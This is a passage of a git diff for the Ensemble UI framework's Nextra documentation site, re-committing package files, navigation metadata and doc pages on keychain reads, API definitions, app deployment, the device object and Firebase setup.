+ }, + "node_modules/zod": { + "version": "3.22.4", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.22.4.tgz", + "integrity": "sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + } +} diff --git a/package.json b/package.json index 3302c5c..188b2d8 100644 --- a/package.json +++ b/package.json @@ -1,31 +1,31 @@ -{ - "name": "nextra-docs-template", - "version": "0.0.1", - "description": "Nextra docs template", - "scripts": { - "dev": "next dev", - "build": "next build", - "start": "next start" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/shuding/nextra-docs-template.git" - }, - "author": "Shu Ding ", - "license": "MIT", - "bugs": { - "url": "https://github.com/shuding/nextra-docs-template/issues" - }, - "homepage": "https://github.com/shuding/nextra-docs-template#readme", - "dependencies": { - "next": "^13.5.6", - "nextra": "latest", - "nextra-theme-docs": "latest", - "react": "^18.2.0", - "react-dom": "^18.2.0" - }, - "devDependencies": { - "@types/node": "18.11.10", - "typescript": "^4.9.3" - } -} +{ + "name": "nextra-docs-template", + "version": "0.0.1", + "description": "Nextra docs template", + "scripts": { + "dev": "next dev", + "build": "next build", + "start": "next start" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/shuding/nextra-docs-template.git" + }, + "author": "Shu Ding ", + "license": "MIT", + "bugs": { + "url": "https://github.com/shuding/nextra-docs-template/issues" + }, + "homepage": "https://github.com/shuding/nextra-docs-template#readme", + "dependencies": { + "next": "^13.5.6", + "nextra": "latest", + "nextra-theme-docs": "latest", + "react": "^18.2.0", + "react-dom": "^18.2.0" + }, + "devDependencies": { + "@types/node": "18.11.10", + "typescript": "^4.9.3" + } +} diff --git a/pages/_meta.json b/pages/_meta.json index fa2f785..48ae10b 100644 --- a/pages/_meta.json +++ b/pages/_meta.json @@ -1,119 +1,119 @@ -{ - "index": "Introduction", - "studio-overview": { - "title": "Studio overview", - "display": "hidden" - }, - "training-videos": "Training videos", - "desktop-app": { - "title": "Desktop App" - }, - "--Build": { - "type": "separator", - "title": "Build your app" - }, - "screens-and-widgets": { - "title": "Screens & Widgets" - }, - "scripts-with-js": { - "title": "Scripts with JS" - }, - "apis": { - "title": "APIs" - }, - "theme-and-styling": { - "title": "Theme & Styling" - }, - "assets": { - "title": "Assets" - }, - "local-storage": { - "title": "Local Storage" - }, - "app-settings": { - "title": "App Settings" - }, - "firebase": { - "title": "Firebase" - }, - "translations": { - "title": "Translations (i18n)" - }, - "authentication": { - "title": "Authentication" - }, - "moengage": { - "title": "MoEngage" - }, - "adobe-analytics": { - "title": "Adobe Analytics" - }, - "deep-link": { - "title": "Deep linking" - }, - "extending-ensemble": { - "title": "Extending Ensemble" - }, - "concepts": { - "title": "Concepts" - }, - "--Launch": { - "type": "separator", - "title": "Launch your app" - }, - "test": { - "title": "Test" - }, - "deploy": { - "title": "Deploy" - }, - "host-on-your-server": { - "title": "Host on your server" - }, - "--References": { - "type": "separator", - "title": "References" - }, - "widgets": { - "title": "Widgets" - }, - "composite-widgets": { - "title": "Composite Widgets" - }, - "actions": { - "title": "Actions" - }, - "utilities": { - "title": "Utilities" - }, - "device-capabilities": { - "title": "Device Capabilities" - }, - "javascript-reference": { - "title": "Javascript" - }, - "app-object": { - "title": "App object" - }, - "device-object": { - "title": "Device object" - }, - "---": { - "type": "separator" - }, - "tips-and-tricks": { - "title": "Tips & Tricks" - }, - "about": { - "title": "About ↗", - "type": "page", - "href": "https://ensembleui.com", - "newWindow": true - }, - "contact": { - "title": "Ensemble Studio ↗", - "type": "page", - "href": "https://studio.ensembleui.com", - "newWindow": true - } -} +{ + "index": "Introduction", + "studio-overview": { + "title": "Studio overview", + "display": "hidden" + }, + "training-videos": "Training videos", + "desktop-app": { + "title": "Desktop App" + }, + "--Build": { + "type": "separator", + "title": "Build your app" + }, + "screens-and-widgets": { + "title": "Screens & Widgets" + }, + "scripts-with-js": { + "title": "Scripts with JS" + }, + "apis": { + "title": "APIs" + }, + "theme-and-styling": { + "title": "Theme & Styling" + }, + "assets": { + "title": "Assets" + }, + "local-storage": { + "title": "Local Storage" + }, + "app-settings": { + "title": "App Settings" + }, + "firebase": { + "title": "Firebase" + }, + "translations": { + "title": "Translations (i18n)" + }, + "authentication": { + "title": "Authentication" + }, + "moengage": { + "title": "MoEngage" + }, + "adobe-analytics": { + "title": "Adobe Analytics" + }, + "deep-link": { + "title": "Deep linking" + }, + "extending-ensemble": { + "title": "Extending Ensemble" + }, + "concepts": { + "title": "Concepts" + }, + "--Launch": { + "type": "separator", + "title": "Launch your app" + }, + "test": { + "title": "Test" + }, + "deploy": { + "title": "Deploy" + }, + "host-on-your-server": { + "title": "Host on your server" + }, + "--References": { + "type": "separator", + "title": "References" + }, + "widgets": { + "title": "Widgets" + }, + "composite-widgets": { + "title": "Composite Widgets" + }, + "actions": { + "title": "Actions" + }, + "utilities": { + "title": "Utilities" + }, + "device-capabilities": { + "title": "Device Capabilities" + }, + "javascript-reference": { + "title": "Javascript" + }, + "app-object": { + "title": "App object" + }, + "device-object": { + "title": "Device object" + }, + "---": { + "type": "separator" + }, + "tips-and-tricks": { + "title": "Tips & Tricks" + }, + "about": { + "title": "About ↗", + "type": "page", + "href": "https://ensembleui.com", + "newWindow": true + }, + "contact": { + "title": "Ensemble Studio ↗", + "type": "page", + "href": "https://studio.ensembleui.com", + "newWindow": true + } +} diff --git a/pages/actions/_meta.json b/pages/actions/_meta.json index fbd19fe..fbdd34d 100644 --- a/pages/actions/_meta.json +++ b/pages/actions/_meta.json @@ -1,173 +1,173 @@ -{ - "authenticate-by-biometric": { - "title": "Authenticate by Biometric" - }, - "ble-actions": { - "title": "BLE Actions" - }, - "call-external-method": { - "title": "Call External Method" - }, - "check-permission": { - "title": "Check Permission" - }, - "read-keychain": { - "title": "Read Keychain" - }, - "save-keychain": { - "title": "Save Keychain" - }, - "clear-keychain": { - "title": "Clear Keychain" - }, - "close-all-dialogs": { - "title": "Close All Dialogs" - }, - "connect-wallet": { - "title": "Connect Wallet" - }, - "copy-to-clipboard": { - "title": "Copy to Clipboard" - }, - "device-security": { - "title": "Device Security" - }, - "directory": { - "title": "Directory" - }, - "dispatch-event": { - "title": "Dispatch Event" - }, - "execute-action-group": { - "title": "Execute Action Group" - }, - "execute-code": { - "title": "Execute Code" - }, - "execute-condition": { - "title": "Execute Condition" - }, - "execute-conditional-action": { - "title": "Execute Conditional Action" - }, - "get-location": { - "title": "Get Location" - }, - "get-network-info": { - "title": "Get Network Info" - }, - "get-phone-contacts": { - "title": "Get Phone Contacts" - }, - "invoke-API": { - "title": "Invoke API" - }, - "invoke-haptic": { - "title": "Invoke Haptic" - }, - "log-events": { - "title": "Log Events" - }, - "navigate-back": { - "title": "Navigate Back" - }, - "navigate-modal-screen": { - "title": "Navigate Modal Screen" - }, - "navigate-screen": { - "title": "Navigate Screen" - }, - "navigate-view-group": { - "title": "Navigate View Group" - }, - "notification": { - "title": "Notification" - }, - "on-navigate-back": { - "title": "On Navigate Back" - }, - "on-view-group-resume": { - "title": "On View Group Resume" - }, - "on-view-group-update": { - "title": "On View Group Update" - }, - "open-app-settings": { - "title": "Open App Settings" - }, - "open-camera": { - "title": "Open Camera" - }, - "open-plaid-link": { - "title": "Open Plaid Link" - }, - "open-url": { - "title": "Open URL" - }, - "pause-audio": { - "title": "Pause Audio" - }, - "pick-files": { - "title": "Pick Files" - }, - "play-audio": { - "title": "Play Audio" - }, - "pull-to-refresh": { - "title": "Pull to Refresh" - }, - "rate-app": { - "title": "Rate App" - }, - "request-notification-access": { - "title": "Request Notification Access" - }, - "resume-audio": { - "title": "Resume Audio" - }, - "save-file": { - "title": "Save File" - }, - "seek-audio": { - "title": "Seek Audio" - }, - "get-secure-storage": { - "title": "Get Secure Storage" - }, - "set-secure-storage": { - "title": "Set Secure Storage" - }, - "clear-secure-storage": { - "title": "Clear Secure Storage" - }, - "share": { - "title": "Share" - }, - "show-bottom-modal": { - "title": "Show Bottom Modal" - }, - "show-dialog": { - "title": "Show Dialog" - }, - "show-notification": { - "title": "Show Notification" - }, - "show-toast": { - "title": "Show Toast" - }, - "start-timer": { - "title": "Start Timer" - }, - "stop-audio": { - "title": "Stop Audio" - }, - "stop-timer": { - "title": "Stop Timer" - }, - "take-screenshot": { - "title": "Take Screenshot" - }, - "upload-files": { - "title": "Upload Files" - } -} +{ + "authenticate-by-biometric": { + "title": "Authenticate by Biometric" + }, + "ble-actions": { + "title": "BLE Actions" + }, + "call-external-method": { + "title": "Call External Method" + }, + "check-permission": { + "title": "Check Permission" + }, + "read-keychain": { + "title": "Read Keychain" + }, + "save-keychain": { + "title": "Save Keychain" + }, + "clear-keychain": { + "title": "Clear Keychain" + }, + "close-all-dialogs": { + "title": "Close All Dialogs" + }, + "connect-wallet": { + "title": "Connect Wallet" + }, + "copy-to-clipboard": { + "title": "Copy to Clipboard" + }, + "device-security": { + "title": "Device Security" + }, + "directory": { + "title": "Directory" + }, + "dispatch-event": { + "title": "Dispatch Event" + }, + "execute-action-group": { + "title": "Execute Action Group" + }, + "execute-code": { + "title": "Execute Code" + }, + "execute-condition": { + "title": "Execute Condition" + }, + "execute-conditional-action": { + "title": "Execute Conditional Action" + }, + "get-location": { + "title": "Get Location" + }, + "get-network-info": { + "title": "Get Network Info" + }, + "get-phone-contacts": { + "title": "Get Phone Contacts" + }, + "invoke-API": { + "title": "Invoke API" + }, + "invoke-haptic": { + "title": "Invoke Haptic" + }, + "log-events": { + "title": "Log Events" + }, + "navigate-back": { + "title": "Navigate Back" + }, + "navigate-modal-screen": { + "title": "Navigate Modal Screen" + }, + "navigate-screen": { + "title": "Navigate Screen" + }, + "navigate-view-group": { + "title": "Navigate View Group" + }, + "notification": { + "title": "Notification" + }, + "on-navigate-back": { + "title": "On Navigate Back" + }, + "on-view-group-resume": { + "title": "On View Group Resume" + }, + "on-view-group-update": { + "title": "On View Group Update" + }, + "open-app-settings": { + "title": "Open App Settings" + }, + "open-camera": { + "title": "Open Camera" + }, + "open-plaid-link": { + "title": "Open Plaid Link" + }, + "open-url": { + "title": "Open URL" + }, + "pause-audio": { + "title": "Pause Audio" + }, + "pick-files": { + "title": "Pick Files" + }, + "play-audio": { + "title": "Play Audio" + }, + "pull-to-refresh": { + "title": "Pull to Refresh" + }, + "rate-app": { + "title": "Rate App" + }, + "request-notification-access": { + "title": "Request Notification Access" + }, + "resume-audio": { + "title": "Resume Audio" + }, + "save-file": { + "title": "Save File" + }, + "seek-audio": { + "title": "Seek Audio" + }, + "get-secure-storage": { + "title": "Get Secure Storage" + }, + "set-secure-storage": { + "title": "Set Secure Storage" + }, + "clear-secure-storage": { + "title": "Clear Secure Storage" + }, + "share": { + "title": "Share" + }, + "show-bottom-modal": { + "title": "Show Bottom Modal" + }, + "show-dialog": { + "title": "Show Dialog" + }, + "show-notification": { + "title": "Show Notification" + }, + "show-toast": { + "title": "Show Toast" + }, + "start-timer": { + "title": "Start Timer" + }, + "stop-audio": { + "title": "Stop Audio" + }, + "stop-timer": { + "title": "Stop Timer" + }, + "take-screenshot": { + "title": "Take Screenshot" + }, + "upload-files": { + "title": "Upload Files" + } +} diff --git a/pages/actions/read-keychain.md b/pages/actions/read-keychain.md index e2269b1..1829339 100644 --- a/pages/actions/read-keychain.md +++ b/pages/actions/read-keychain.md @@ -1,51 +1,51 @@ -import { Callout } from 'nextra/components' - -# readKeychain - -The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | -| key | string | The key to retrieve the value from | -| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Read from Keychain - onTap: - readKeychain: - key: apiKey - onComplete: - executeCode: - body: | - //@code - console.log("Retrieved API key: " + event.data); - apiKeyInput.value = event.data; - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - - -It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. - - -## Notes - - -- This action reads from the device's secure keychain or equivalent OS security storage. -- Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. -- The retrieved data is converted back to its original data type (string, number, boolean, or object). -- If no data exists for the given key, the onError callback will be triggered. -- Data stored using [saveKeychain](/actions/save-keychain) can be retrieved with this action. -- The value is available in the `onComplete` action under `event.data`. -- This action provides access to data with OS-level security protection. +import { Callout } from 'nextra/components' + +# readKeychain + +The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | +| key | string | The key to retrieve the value from | +| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Read from Keychain + onTap: + readKeychain: + key: apiKey + onComplete: + executeCode: + body: | + //@code + console.log("Retrieved API key: " + event.data); + apiKeyInput.value = event.data; + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + + +It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. + + +## Notes + + +- This action reads from the device's secure keychain or equivalent OS security storage. +- Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. +- The retrieved data is converted back to its original data type (string, number, boolean, or object). +- If no data exists for the given key, the onError callback will be triggered. +- Data stored using [saveKeychain](/actions/save-keychain) can be retrieved with this action. +- The value is available in the `onComplete` action under `event.data`. +- This action provides access to data with OS-level security protection. diff --git a/pages/apis/api-overview.mdx b/pages/apis/api-overview.mdx index 153cb44..d99feab 100644 --- a/pages/apis/api-overview.mdx +++ b/pages/apis/api-overview.mdx @@ -1,26 +1,26 @@ -import { Callout } from 'nextra/components' - -# Interact with APIs - -The primary mechanism for an Ensemble app to interact with the backend is through APIs. - -The basic flow is: - -- [First, define the APIs you want to call](define-api) -- [Invoke API calls](call-api) on events such as onLoad or onTap -- [Access the API response](access-api-response) -- [Handle errors](api-on-error) - - - During develoment, you can [mock APIs within Ensemble](use-mock-api-response). - - - -Following capabilities are also available in Ensemble: - - -- [Bind APIs to a template to render a series of widgets](api-item-templates) -- [SSL Configuration](api-ssl-configuration) -- [Chaining API calls](chaining-apis) -- [Websocket](websocket) -- [GraphQL](graphql) +import { Callout } from 'nextra/components' + +# Interact with APIs + +The primary mechanism for an Ensemble app to interact with the backend is through APIs. + +The basic flow is: + +- [First, define the APIs you want to call](define-api) +- [Invoke API calls](call-api) on events such as onLoad or onTap +- [Access the API response](access-api-response) +- [Handle errors](api-on-error) + + + During develoment, you can [mock APIs within Ensemble](use-mock-api-response). + + + +Following capabilities are also available in Ensemble: + + +- [Bind APIs to a template to render a series of widgets](api-item-templates) +- [SSL Configuration](api-ssl-configuration) +- [Chaining API calls](chaining-apis) +- [Websocket](websocket) +- [GraphQL](graphql) diff --git a/pages/apis/define-api.md b/pages/apis/define-api.md index 0210c66..7d9d277 100644 --- a/pages/apis/define-api.md +++ b/pages/apis/define-api.md @@ -1,92 +1,92 @@ -# Define APIs - -You define APIs by adding the `API` section to any screen. Note that `API` would be at the root level of the document, i.e. as a sibling to the `View`. - -```yaml -API: - myFirstApi: # a new to refer to this API later - inputs: # specify an array of inputs the API expect. You can reference the inputs in the other API properties, such as the body - uri: # the endpoint to call, e.g. https://dummyjson.com/users/1 - method: # the HTTP method, such as GET, POST, PUT, DELETE, PATCH - parameters: # set the parameters to be passed to the API - manageCookies: # Specify whether to manage cookies automatically for the request. This is only valid for native apps and will be ignored for web apps. Default is false. - headers: # set headers such as authorization tokens - body: # set body, in JSON or YAML, to pass data to the API - onSuccess: # fire an action when the API returns a 2** - onError: # fire an action when the API returns a 4** - - # add more APIs as you need - mySecondApi: -``` - -## GET call without authentication - -For public APIs that do not require authentication, you typically need only the URI and the method. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - -## GET call with bearer token - -APIs might be secured by requiring a token. This token is typically passed as a header parameter named `Authorization`. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET - headers: - Authorization: "Bearer <>" -``` - -## GET call with API key - -Some API providers would issue keys to their customers. Typically, the API provider would require the key to be passed a parameter. Check with API provider documentation on what the name of this parameter is. Here, we use `apiKey` as an example. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET - parameters: - apiKey: "<>" -``` - -## POST call with data - -Typically you use POST calls with a body to pass data from the frontend to the backend. You can specify the body of the API, and use inputs to pass them dynamically. - -```yaml -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: "${productTitle}" # example of a dynamic data that is set based on the inputs - source: MyApp # example of a static data that is always passed -``` - -## apiSecureStorage - -For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context. This approach doesn't require any callbacks or async handling. - -### Example - -```yaml -API: - createToDo: - url: http://192.168.18.163:3000/api/test - method: 'POST' - headers: - Context: apiKey ${apiSecureStorage.newdata} - body: - records: - - fields: - desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" +# Define APIs + +You define APIs by adding the `API` section to any screen. Note that `API` would be at the root level of the document, i.e. as a sibling to the `View`. + +```yaml +API: + myFirstApi: # a new to refer to this API later + inputs: # specify an array of inputs the API expect. You can reference the inputs in the other API properties, such as the body + uri: # the endpoint to call, e.g. https://dummyjson.com/users/1 + method: # the HTTP method, such as GET, POST, PUT, DELETE, PATCH + parameters: # set the parameters to be passed to the API + manageCookies: # Specify whether to manage cookies automatically for the request. This is only valid for native apps and will be ignored for web apps. Default is false. + headers: # set headers such as authorization tokens + body: # set body, in JSON or YAML, to pass data to the API + onSuccess: # fire an action when the API returns a 2** + onError: # fire an action when the API returns a 4** + + # add more APIs as you need + mySecondApi: +``` + +## GET call without authentication + +For public APIs that do not require authentication, you typically need only the URI and the method. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + +## GET call with bearer token + +APIs might be secured by requiring a token. This token is typically passed as a header parameter named `Authorization`. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET + headers: + Authorization: "Bearer <>" +``` + +## GET call with API key + +Some API providers would issue keys to their customers. Typically, the API provider would require the key to be passed a parameter. Check with API provider documentation on what the name of this parameter is. Here, we use `apiKey` as an example. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET + parameters: + apiKey: "<>" +``` + +## POST call with data + +Typically you use POST calls with a body to pass data from the frontend to the backend. You can specify the body of the API, and use inputs to pass them dynamically. + +```yaml +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: "${productTitle}" # example of a dynamic data that is set based on the inputs + source: MyApp # example of a static data that is always passed +``` + +## apiSecureStorage + +For API calls, you can use `apiSecureStorage.key` to directly access secure storage values within the API context. This approach doesn't require any callbacks or async handling. + +### Example + +```yaml +API: + createToDo: + url: http://192.168.18.163:3000/api/test + method: 'POST' + headers: + Context: apiKey ${apiSecureStorage.newdata} + body: + records: + - fields: + desc: "${apiSecureStorage.newdata} ${ensemble.storage.counter}" ``` \ No newline at end of file diff --git a/pages/deploy/1-prepare-app.md b/pages/deploy/1-prepare-app.md index 24ed526..6b00330 100644 --- a/pages/deploy/1-prepare-app.md +++ b/pages/deploy/1-prepare-app.md @@ -1,35 +1,35 @@ -# Preparing your App for deployment - -Once you have built your UI with Ensemble and used it to build your app and are ready to take it to production, follow these instructions to deploy it to any iOS or Android devices, or to submit it to the Apple AppStore or Google Play Store. - -### Prerequisites -* Your Ensemble App ID. From [Ensemble Studio](https://studio.ensembleui.com), go to your App's Settings screen to retrieve the App ID. - -### Download Ensemble Starter -Ensemble Starter is our packaging solution, enabling you to connect to your Ensemble UI and package it. -* Clone the Starter App `git clone https://github.com/EnsembleUI/starter my_first_app` into the folder *my_first_app*. You may change the name, but don't use camelCase (e.g. myFirstApp) or dash (-) as the separators. -* Follow the README in this repo. - -### Requesting permissions from your end-users -If your app requires capabilities like location, camera, ..., you will need to enter a reason per capability. These reasons will be prompted to the end users, who can decide whether to grant or deny your requests. -* For iOS, edit `/ios/Runner/Info.plist` and add the below permissions as the direct children of the `` tag. -* For Android, edit `/android/app/src/main/AndroidManifest.xml` and add the below permissions as the direct children of the `` tag. - -Below are the snippet per capability to insert for iOS and Android respectively. - -**Location** -```xml -NSLocationWhenInUseUsageDescription -e.g. This app needs access to your location to .... -``` - -**Camera** -```xml -NSCameraUsageDescription -e.g. your reason for requesting camera access - -NSMicrophoneUsageDescription -e.g. your reason for requesting microphone access -``` - - +# Preparing your App for deployment + +Once you have built your UI with Ensemble and used it to build your app and are ready to take it to production, follow these instructions to deploy it to any iOS or Android devices, or to submit it to the Apple AppStore or Google Play Store. + +### Prerequisites +* Your Ensemble App ID. From [Ensemble Studio](https://studio.ensembleui.com), go to your App's Settings screen to retrieve the App ID. + +### Download Ensemble Starter +Ensemble Starter is our packaging solution, enabling you to connect to your Ensemble UI and package it. +* Clone the Starter App `git clone https://github.com/EnsembleUI/starter my_first_app` into the folder *my_first_app*. You may change the name, but don't use camelCase (e.g. myFirstApp) or dash (-) as the separators. +* Follow the README in this repo. + +### Requesting permissions from your end-users +If your app requires capabilities like location, camera, ..., you will need to enter a reason per capability. These reasons will be prompted to the end users, who can decide whether to grant or deny your requests. +* For iOS, edit `/ios/Runner/Info.plist` and add the below permissions as the direct children of the `` tag. +* For Android, edit `/android/app/src/main/AndroidManifest.xml` and add the below permissions as the direct children of the `` tag. + +Below are the snippet per capability to insert for iOS and Android respectively. + +**Location** +```xml +NSLocationWhenInUseUsageDescription +e.g. This app needs access to your location to .... +``` + +**Camera** +```xml +NSCameraUsageDescription +e.g. your reason for requesting camera access + +NSMicrophoneUsageDescription +e.g. your reason for requesting microphone access +``` + + diff --git a/pages/device-object.md b/pages/device-object.md index 12887f1..2b44fea 100644 --- a/pages/device-object.md +++ b/pages/device-object.md @@ -1,53 +1,53 @@ -# Device object - -You have access to the following properties of the device. - -## device.platform - -Returns the device platform, such as `web`, `ios`, `android`, `windows`, and `mac`. - -```yaml -View: - body: - Text: - text: ${device.platform} -``` - - -## device.width and device.height - -Returns the device width and height as integers. - -```yaml -View: - body: - Text: - text: Current device is ${device.height} by ${device.width} -``` - -## Safe area - -A safe area defines the area within a view that isn’t covered by a navigation bar, tab bar, toolbar, etc. Safe areas are essential for avoiding a device’s interactive and display features, like the Dynamic Island on iPhone. - -[See Apple Guidelines](https://developer.apple.com/design/human-interface-guidelines/layout) - -[Android Guidelines](https://developer.android.com/develop/ui/views/layout/display-cutout) - -It is only relevant if your view does not have a `header` and uses `useSafeAra: false`. - - -```yaml -View: - styles: - useSafeArea: false - - body: - Column: - styles: - padding: 40 - children: - - Text: - text: Size of top area used by device is ${device.safeAreaTop} - - Text: - text: Size of bottom area used by device is ${device.safeAreaBottom} -``` +# Device object + +You have access to the following properties of the device. + +## device.platform + +Returns the device platform, such as `web`, `ios`, `android`, `windows`, and `mac`. + +```yaml +View: + body: + Text: + text: ${device.platform} +``` + + +## device.width and device.height + +Returns the device width and height as integers. + +```yaml +View: + body: + Text: + text: Current device is ${device.height} by ${device.width} +``` + +## Safe area + +A safe area defines the area within a view that isn’t covered by a navigation bar, tab bar, toolbar, etc. Safe areas are essential for avoiding a device’s interactive and display features, like the Dynamic Island on iPhone. + +[See Apple Guidelines](https://developer.apple.com/design/human-interface-guidelines/layout) + +[Android Guidelines](https://developer.android.com/develop/ui/views/layout/display-cutout) + +It is only relevant if your view does not have a `header` and uses `useSafeAra: false`. + + +```yaml +View: + styles: + useSafeArea: false + + body: + Column: + styles: + padding: 40 + children: + - Text: + text: Size of top area used by device is ${device.safeAreaTop} + - Text: + text: Size of bottom area used by device is ${device.safeAreaBottom} +``` diff --git a/pages/firebase/_meta.json b/pages/firebase/_meta.json index 0b9d8ca..d627688 100644 --- a/pages/firebase/_meta.json +++ b/pages/firebase/_meta.json @@ -1,14 +1,14 @@ -{ - "configuration": { - "title": "Configuration" - }, - "firestore-operations": { - "title": "Firestore" - }, - "firebase-functions": { - "title": "Firebase Functions" - }, - "firebase-appcheck": { - "title": "Firebase Appcheck" - } -} +{ + "configuration": { + "title": "Configuration" + }, + "firestore-operations": { + "title": "Firestore" + }, + "firebase-functions": { + "title": "Firebase Functions" + }, + "firebase-appcheck": { + "title": "Firebase Appcheck" + } +} diff --git a/pages/firebase/configuration.mdx b/pages/firebase/configuration.mdx index 7dd7b6c..4e16bd9 100644 --- a/pages/firebase/configuration.mdx +++ b/pages/firebase/configuration.mdx @@ -1,101 +1,101 @@ -import { Callout } from 'nextra/components' - -# Configuration of Firebase Project with Ensemble App - -Application's performance significantly increases with ⁤Integrating Firebase with our Ensemble project. ⁤⁤Firebase offers some services, such as real-time databases, authentication, analytics, and cloud messaging, which can help streamline backend development, -improve user engagement, and provide deep insights into user behavior. ⁤⁤Using Firebase with Ensemble allows us to focus more on our application's core features and user experience, while Firebase handles the backend. -⁤Now, let's dive into the configuration steps: - - -## Prerequisites -Before we start configuration, ensure that we have the following in place: -1. Ensemble project to integrate with Firebase. -2. Head over to the [Firebase console](https://console.firebase.google.com/) and create a new project or use an existing one. - -## 1. Registering our App with Firebase - -Firebase supports integration with various app platforms. Here's a breakdown for each platform: - -![All Apps](/images/firebase/addApp.png) -#### Android - -- Click the Android icon(looks like a little robot) to start the setup. -- Type the unique "Android Package Name". Make sure it matches our app's exact name, and remember, it's case-sensitive! - - - To learn more about how to get our Android package name for ensemble application, click [here](/deploy/4-android-device.md). - - -- Click "Register app" to complete this step. -- Finally, download a file called "google-services.json". This file holds all the secret handshake information Firebase needs to talk to our app. - - -#### iOS - -- Click the Apple icon to start the setup. -- Enter our app's unique ID (called a "bundle ID"). Make sure it matches our app's exact name, and remember, it's case-sensitive! - - - To learn more about how and where we can find our "Bundle ID" for ensemble application, click [here](/deploy/3-ios-appstore.md). - - -- Click "Register app" to complete this step. -- Download a file called "GoogleService-Info.plist". This file contains the secret details Firebase needs to work with your app. - -#### Web - -- Click the Web icon(looks like a globe) to start the setup. -- Give our web app a nickname(this is just for us to see in the Firebase console). -- Click "Register app" to complete this step. -- Firebase will provide on-screen instructions where we will find a portion with the name `firebaseConfig` in code given. Copy that portion and save it in a file with the rest configuration files. - -![All Apps](/images/firebase/allApps.png) - -## 2. Configure Ensemble app -Now that we've registered our app with Firebase and downloaded the configuration files, -it's time to establish the connection within our Ensemble project. -#### Make a Configuration File - -The first step involves creating a configuration file that stores Firebase project details specific to our chosen platform (iOS, Android, or Web). This file -acts as a translator between our app and Firebase, providing the necessary information for them to communicate effectively. The file will look like: - -```yaml -{ - "web": { - # Copy and paste all the values of firebaseCongig variable that we copy from web app and paste it here. - }, - "android": { - "apiKey": # In google-services.json, take value of client.api_key.current_key, - "appId": # In google-services.json, take value of client.client_info.mobilesdk_app_id, - "messagingSenderId": # In google-services.json, take value of project_info.project_number, - "projectId": # In google-services.json, take value of project_info.project_id, - "storageBucket": # In google-services.json, take value of project_info.storage_bucket - }, - "ios": { - "apiKey": # In GoogleService-Info.plist, take the value of API_KEY, - "appId": # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID, - "messagingSenderId": # In GoogleService-Info.plist, take the value of GCM_SENDER_ID, - "projectId": # In GoogleService-Info.plist, take the value of PROJECT_ID, - "storageBucket": # In GoogleService-Info.plist, take the value of STORAGE_BUCKET, - "iosBundleId": # In GoogleService-Info.plist, take the value of BUNDLE_ID - } -} -``` -After we have replaced the placeholder hashtags (#) in our configuration file, it will look like this: - -![Configuration File](/images/firebase/configfile.png) - -#### Update Environmental Variables - -Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the following variables: -- `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. -- `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. -- `firebase_config`: Similar to `firestore_config`, this variable is required when using Firebase Functions or Firebase App Check. Use the same configuration file format and values as above. - - - The `firebase_config` environment variable follows the same structure and values as `firestore_config`. It's specifically needed when implementing Firebase Functions or Firebase App Check in your Ensemble application. - - -![Environment Variables](/images/firebase/envVari.png) - -By following these steps, we'll successfully establish a connection between your Ensemble app and Firebase. +import { Callout } from 'nextra/components' + +# Configuration of Firebase Project with Ensemble App + +Application's performance significantly increases with ⁤Integrating Firebase with our Ensemble project. ⁤⁤Firebase offers some services, such as real-time databases, authentication, analytics, and cloud messaging, which can help streamline backend development, +improve user engagement, and provide deep insights into user behavior. ⁤⁤Using Firebase with Ensemble allows us to focus more on our application's core features and user experience, while Firebase handles the backend. +⁤Now, let's dive into the configuration steps: + + +## Prerequisites +Before we start configuration, ensure that we have the following in place: +1. Ensemble project to integrate with Firebase. +2. Head over to the [Firebase console](https://console.firebase.google.com/) and create a new project or use an existing one. + +## 1. Registering our App with 